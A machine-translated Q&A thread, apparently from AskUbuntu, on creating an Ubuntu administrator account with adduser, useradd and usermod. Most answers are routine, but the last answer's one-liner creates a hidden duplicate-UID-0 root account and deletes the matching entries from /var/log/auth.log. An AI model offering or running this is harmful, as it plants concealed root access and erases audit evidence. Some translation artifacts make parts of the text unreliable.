Как я могу создать пользователя с правами администратора из командной строки?

Я хочу создать пользователя с правами администратора и всеми обычными настройками, такими как домашний каталог.

  1. Существует ли параметр adduser для автоматического предоставления пользователю мощности sudo?
  2. Каковы настройки по умолчанию для adduser? Будет ли он автоматически создавать домашние каталоги и все остальное без дополнительных параметров? (то есть достаточно ли adduser <username>?)
83
задан 31 January 2018 в 06:37

4 ответа

Добавьте пользователя в группу sudo с помощью:

adduser <username> sudo

(Если вы работаете в Ubuntu 11.10 или старше, используйте группу admin.)

Значения по умолчанию хранятся в /etc/adduser.conf, вы можете проверить их с помощью

less /etc/adduser.conf

. Чтобы создать пользователя и добавить его непосредственно в группу sudo, используйте

adduser <username> --group sudo

(Опять же, используйте [ 117] вместо sudo для 11.10 и более ранних.)

Посмотрите все варианты, которые есть у вас с adduser здесь .

0
ответ дан 31 January 2018 в 06:37

Другие ответы верны, но вы также спросили о домашнем каталоге. Вам также понадобится пароль для нового пользователя.

sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
  • -s устанавливает оболочку входа пользователя
  • -m создает домашний каталог пользователя, если он не существует: /home/*new-admin-username*
  • -g добавляет пользователя в группу sudo, чтобы у него были права администратора (> 11.10)

После создания добавьте пароль для пользователя:

sudo passwd *new-admin-username*

Войдите в систему для пользователь, чтобы увидеть, все ли работает:

su *new-admin-username*
cd ~/
pwd
0
ответ дан 31 January 2018 в 06:37

Чтобы создать нового пользователя с правами администратора в Ubuntu 12.04 и более поздних версиях:

adduser <username> sudo

В Ubuntu 11.10 и более ранних версиях используйте вместо этого:

adduser <username> admin

Чтобы изменить существующего пользователя (12.04 и позже):

sudo usermod -aG sudo <username>

(Или для 11.10 и ранее: sudo usermod -aG admin <username>)

-a обозначает добавление, тогда как -G обозначает группы. С флагами -a и -G, как показано выше, группа sudo (или admin) будет добавлена ​​ в список групп, членом которых является пользователь.

0
ответ дан 31 January 2018 в 06:37

Вот один лайнер, Он создает нового пользователя root. Необходимо изменить некоторые параметры.

  USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment 
  Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 
  0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
  /var/log/auth.log

Лучший,

0
ответ дан 16 November 2019 в 09:48

Другие вопросы по тегам:

Похожие вопросы: